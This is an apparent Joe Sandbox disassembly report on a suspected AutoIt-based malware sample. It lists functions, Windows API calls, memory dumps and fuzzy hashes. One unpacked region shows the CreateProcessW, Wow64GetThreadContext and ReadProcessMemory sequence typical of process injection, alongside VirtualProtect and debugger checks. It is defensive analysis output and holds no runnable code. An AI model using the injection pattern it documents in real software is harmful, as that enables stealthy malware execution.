Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 7f44d712d35682055e9a1a6278c125b3c3a1f3186881718e078a178e5e5d0ea9
Instruction ID: 14148be1302877d1cbec7591472de98ad95d0b95b7e4b514c570cb2533012d42
Opcode Fuzzy Hash: 7f44d712d35682055e9a1a6278c125b3c3a1f3186881718e078a178e5e5d0ea9
Instruction Fuzzy Hash: DB01D235302B1ADAE7117B34EC4AB3E6F49FBC23A2F110426F7059A2C1EE7C99008661

Function 006398A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00639548,?,?,?,?,?,00000004), ref: 006398BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00639548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 006398D1
CloseHandle.KERNEL32(00000000,?,00639548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 006398D8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 0d1ab77e903140c6db7a61fec9ec5dbe8343b7d2a9d93547ae0d888715bb73fc
Instruction ID: a542724db70b4e114f2ea5563ab0a83794af50e6b809f582c00176be6b20b76c
Opcode Fuzzy Hash: 0d1ab77e903140c6db7a61fec9ec5dbe8343b7d2a9d93547ae0d888715bb73fc
Instruction Fuzzy Hash: 00E08632141714B7E7316B54EC09FCA7B1AAF06761F104120FB14A91E087B1151197D8

Function 00638D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00638D1B

Part of subcall function 005F2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,005F9A24), ref: 005F2D69
Part of subcall function 005F2D55: GetLastError.KERNEL32(00000000,?,005F9A24), ref: 005F2D7B

_free.LIBCMT ref: 00638D2C
_free.LIBCMT ref: 00638D3E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction ID: 01a6a7318308f2775ffd22b89d171b6be4f12e9e84a5d8088126d7b90170ace3
Opcode Fuzzy Hash: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction Fuzzy Hash: 6AE012E160170A4ACB24A678AD45AE317DD5FD8352F14091DB50DD7286CE68FC438164

Function 005DA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 0060FC01

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 418c3b0003e2bad349913df4d81bae0d25f51dd51e1ec14fd0ad399d98d3bbb1
Instruction ID: 4f059d93df2ac20ceb95d8bc7a095b46e1b2e6cb683ee75619de766fd1ca4825
Opcode Fuzzy Hash: 418c3b0003e2bad349913df4d81bae0d25f51dd51e1ec14fd0ad399d98d3bbb1
Instruction Fuzzy Hash: 23223974508241DFDB24DF18C454A6ABBE2BF84314F19895FF88A8B362D735ED85CB82

Function 005D7A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005D7AAB
_memmove.LIBCMT ref: 005D7B16

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 8787708196ce45b0a8645caae1a99237cce191730ca2271c137f8889e79cc621
Instruction ID: 14a1cb565c0e64dbf9f4d634ee1a249def1abaaaa47be482854dc840a5759e2c
Opcode Fuzzy Hash: 8787708196ce45b0a8645caae1a99237cce191730ca2271c137f8889e79cc621
Instruction Fuzzy Hash: CD31A4B560460AAFC714DF6CC8D1D69B7A9FF48320719862BE519CB391FB34E950CB90

Function 005D47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 005D4834

Part of subcall function 005F336C: __lock.LIBCMT ref: 005F3372
Part of subcall function 005F336C: DecodePointer.KERNEL32(00000001,?,005D4849,00627C74), ref: 005F337E
Part of subcall function 005F336C: EncodePointer.KERNEL32(?,?,005D4849,00627C74), ref: 005F3389

Part of subcall function 005D48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 005D4915
Part of subcall function 005D48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 005D492A

Part of subcall function 005D3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005D3B68
Part of subcall function 005D3B3A: IsDebuggerPresent.KERNEL32 ref: 005D3B7A
Part of subcall function 005D3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,006952F8,006952E0,?,?), ref: 005D3BEB
Part of subcall function 005D3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 005D3C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 005D4874

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 35c22a6802820469d91df65c74c7915f7eb3e0f5abeeb643437b6068b6762c7c
Instruction ID: 381db2caf70fc81152c6cefb9c4d878ffe10d7d63fea9576a6b8d306348dfc67
Opcode Fuzzy Hash: 35c22a6802820469d91df65c74c7915f7eb3e0f5abeeb643437b6068b6762c7c
Instruction Fuzzy Hash: 291189719083469BD710EF69E80990ABFE9FB89B50F10891BF041972B1DBB09649CB92

Function 005F0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005F571C: __FF_MSGBANNER.LIBCMT ref: 005F5733
Part of subcall function 005F571C: __NMSG_WRITE.LIBCMT ref: 005F573A
Part of subcall function 005F571C: RtlAllocateHeap.NTDLL(00FD0000,00000000,00000001,00000000,?,?,?,005F0DD3,?), ref: 005F575F

std::exception::exception.LIBCMT ref: 005F0DEC
__CxxThrowException@8.LIBCMT ref: 005F0E01

Part of subcall function 005F859B: RaiseException.KERNEL32(?,?,?,00689E78,00000000,?,?,?,?,005F0E06,?,00689E78,?,00000001), ref: 005F85F0

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 78b6abf2ee2083dd370f56adef70a4621ac26fcee610dff7dc6f0719b09fcd2a
Instruction ID: 2925dd7f81a01950d0e4f083dbabf5992e011a9d1ba458b9f92c7d97318b9e3c
Opcode Fuzzy Hash: 78b6abf2ee2083dd370f56adef70a4621ac26fcee610dff7dc6f0719b09fcd2a
Instruction Fuzzy Hash: 79F0A47190021F66DB10BE94EC199FE7FADBF41351F144425FB14961C2DF749A50C6D1

Function 005F55FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F562C
__lock_file.LIBCMT ref: 005F564D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 0ded1150a39ece1ca67e5c7f94eb3caf8f38b15c5c47913d8f7741a8d5e40154
Instruction ID: e2e01c19b46180d6aefe38c30c8dc5356c321f72f543ba7290520a1e5238328c
Opcode Fuzzy Hash: 0ded1150a39ece1ca67e5c7f94eb3caf8f38b15c5c47913d8f7741a8d5e40154
Instruction Fuzzy Hash: 4C01D471800A0EABCF12AF648C0A8BE7F61BFD0321F444115BB249A191EB398A11DF91

Function 005F53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005F8B28: __getptd_noexit.LIBCMT ref: 005F8B28

__lock_file.LIBCMT ref: 005F53EB

Part of subcall function 005F6C11: __lock.LIBCMT ref: 005F6C34

__fclose_nolock.LIBCMT ref: 005F53F6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: bcf7eb052a4a72685218f695197803d94dcf87ddc6fdaa344d95598e193f7d6c
Instruction ID: ae9939740165379a78dc92a4ac71cc2bd5fc918f297942cc3ac5cef236729266
Opcode Fuzzy Hash: bcf7eb052a4a72685218f695197803d94dcf87ddc6fdaa344d95598e193f7d6c
Instruction Fuzzy Hash: FAF09631900A0E9ADB116F7998097BD6EA07F81374F258605A764AB1C1DBFC49415B51

Function 01187315 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01187B45
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01187B69
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01187B8B

Memory Dump Source

Source File: 00000001.00000002.1297556069.0000000001186000.00000040.00000020.00020000.00000000.sdmp, Offset: 01186000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1186000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction ID: f73dd1c44feac62ee6169476ec736d8d417425d79458480f6c3180ee67a623f1
Opcode Fuzzy Hash: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction Fuzzy Hash: 4112BE24A18658C6EB24DF64D8507DEB232EF68300F1094E9D10DEB7A5E77A4F81CF5A

Function 005F0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 005F0CB7

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: f4b4cb2793963fe380a9d7b588dcc4d6226826be1e5765b04a5eeb082c73e68a
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 9E31D5B4A001099BC718DF58C484979FBA6FB59300B6897A5E90ACB396D735EDC1DBC0

Function 0060FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0060FCB7

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: e7cb2df56440f29624cecdc90e7198e43a3063c93313fde43f7b5ed09367d0f7
Instruction ID: 9f346470826c6809aef043874b549fac87203ee1aa9500158bf15aa59fc18035
Opcode Fuzzy Hash: e7cb2df56440f29624cecdc90e7198e43a3063c93313fde43f7b5ed09367d0f7
Instruction Fuzzy Hash: 3A410674504341DFDB24DF28C448B1ABBE1BF85318F0988ADE9998B762C735EC45CB52

Function 005D7B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005D7BB3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 196d76a069b1f37918a0bf3bdf0c46f736d160ffc24a0ad7c5c88070f2b04922
Instruction ID: b34df78ef8c37cb0cd794cd665c64c3e3179c64ec09e1b499d33244358411f98
Opcode Fuzzy Hash: 196d76a069b1f37918a0bf3bdf0c46f736d160ffc24a0ad7c5c88070f2b04922
Instruction Fuzzy Hash: 7A212772644A19EBEB284F25E84167A7FB5FF18350F24896FE596C51D0FB328090C705

Function 005F06FE Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6763275316ee2974555463539d812ade7b1f29ccc67f2bf29230c7b68e1de
Instruction ID: b1b815c34634acc90d26a92397ee8f66793c4c9947f1b9805a15dbf3f3eb4e4a
Opcode Fuzzy Hash: f1a6763275316ee2974555463539d812ade7b1f29ccc67f2bf29230c7b68e1de
Instruction Fuzzy Hash: DF21FD376091855FD321DB28F483BE9BBE5FF82225B0C44AFD48487D92D6685846CB91

Function 005D4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 005D4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 005D4BEF

Part of subcall function 005F525B: __wfsopen.LIBCMT ref: 005F5266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,006952F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 005D4E0F

Part of subcall function 005D4B6A: FreeLibrary.KERNEL32(00000000), ref: 005D4BA4

Part of subcall function 005D4C70: _memmove.LIBCMT ref: 005D4CBA

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: fb420ad9c1cbf76da31efd2f615f29749eaf80e48d97b674e887cbf4624c8ed7
Instruction ID: ab7ae28df9540f6d0531a2a0c81f59aa463731516b152b640131504b350a9caa
Opcode Fuzzy Hash: fb420ad9c1cbf76da31efd2f615f29749eaf80e48d97b674e887cbf4624c8ed7
Instruction Fuzzy Hash: 98119831640206B7DF25AFB8C81AFAE7BA9FF84710F10882BF545A7281EA7199059F51

Function 0060FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0060FD91

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: cc9cbcf4c5683ebda6a41c0c59b9f60188d25c7c7d34d285b484df95dc752796
Instruction ID: 60fcb3cfc2c1648ecfdcff13c98d5c01b19aad06677d57f7ca3cbfc5d792273a
Opcode Fuzzy Hash: cc9cbcf4c5683ebda6a41c0c59b9f60188d25c7c7d34d285b484df95dc752796
Instruction Fuzzy Hash: 75211574908342DFDB24DF28C444A2ABBE1BF88314F098969F98A57762D731E845CB93

Function 005D7DE1 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005D7E22

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ef33dbda86672080310b50c23a06812e5706bf27878dc1f095540aca360c86e0
Instruction ID: 435b46e3346ba16c968ef44cda5fd631eb6dde9defefbd7b11b03b4faf63dca9
Opcode Fuzzy Hash: ef33dbda86672080310b50c23a06812e5706bf27878dc1f095540aca360c86e0
Instruction Fuzzy Hash: 9801A77220470A6ED7319B78D806A677F98FB44750F14852BF61ACA2D1EA35E4408690

Function 005F4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 005F48A6

Part of subcall function 005F8B28: __getptd_noexit.LIBCMT ref: 005F8B28

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: c0c177999e0bdc3437764a7b627f4fed408d9d5e14bb332ec062fd83b59e938a
Instruction ID: 74f5d0229640e148686b6c8966037f13c34e76ebe804a7af66d1da59af232d9f
Opcode Fuzzy Hash: c0c177999e0bdc3437764a7b627f4fed408d9d5e14bb332ec062fd83b59e938a
Instruction Fuzzy Hash: 5BF0FF3190020EABDF11AFB48C0A3BF3EA1BF40360F058404B6209A181CBBC8951DF51

Function 005D4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,006952F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 005D4E7E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 073eb7d4ba7651f35237fa375a96123b221ebe1218a1d2179ba6b4e61fff1019
Instruction ID: b9c879ad2e2124460202ef9ecbfd0beeaec311075826e3a3e079fc0a766fe417
Opcode Fuzzy Hash: 073eb7d4ba7651f35237fa375a96123b221ebe1218a1d2179ba6b4e61fff1019
Instruction Fuzzy Hash: DCF0F271501B12EFCB349F68E494822BBE9FB543293208E2FE29682620C7329840DF41

Function 005F0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005F07B0

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
